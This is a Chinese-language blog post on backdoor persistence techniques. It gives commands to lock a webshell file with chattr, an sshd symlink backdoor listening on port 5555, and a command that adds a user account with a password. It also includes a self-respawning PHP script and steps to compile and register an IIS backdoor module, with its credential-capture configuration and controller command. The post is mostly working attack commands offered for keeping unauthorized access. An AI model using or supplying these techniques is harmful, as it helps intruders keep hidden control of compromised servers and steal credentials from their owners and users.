权限维持 - 后门隐藏技术

举报
亿人安全 发表于 2023/05/30 21:56:34 2023/05/30
【摘要】 文件上锁PLAINTEXT123chattr +i webshell.phplsattr webshell.phpchattr -i webshell.phpssh 软链接PLAINTEXT12ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;useradd test -p test不死马访问该 php 文件,会生成一个木马文件用于连接PH...

文件上锁

PLAINTEXT

1
2
3
chattr +i webshell.php
lsattr webshell.php
chattr -i webshell.php

image-20220323161740166

ssh 软链接

PLAINTEXT

1
2
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
useradd test -p test

image-20220323161311958

image-20220323163948336

image-20220323161441675

不死马

访问该 php 文件,会生成一个木马文件用于连接

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
  ignore_user_abort(); 
  set_time_limit(0);
  $interval = 5; 
do {
  $filename = 'test.php';
  if(file_exists($filename)) {
    echo "xxx";
  }
  else {
    $file = fopen("test.php", "w");
    $txt = "<?php phpinfo();?>\n";
  fwrite($file, $txt);
  fclose($file);
  }
  sleep($interval);
} while (true);
?>

image-20220323163932612

iis 后门

https://github.com/ygwlgGiao/iis-raid-backdoor

使用 vs2019 进行编译,functions.h 可修改配置信息

PLAINTEXT

1
2
3
4
functions.h
#define COM_HEADER "X-Chrome-Variations"  传输指令和接收数据的头部字段
#define PASS_FILE "C:\\Windows\\Temp\\creds.db"  保存到web请求服务端的位置
#define PASSWORD "SIMPLEPASS"  传输密码

image-20220323171046364

生成后把 IIS-Backdoor.dll 放到 c 盘目录下,放置其他目录下面语句要进行适当的更改

PLAINTEXT

1
2
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:iisModule  /image:"c:\IIS-Backdoor.dll" /add:true
python iis_controller.py --url http://x.x.x.x --password SIMPLEPASS

image-20220323165222629

查看 iis 管理器模块,可发现新增的内容

image-20220323171315820

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。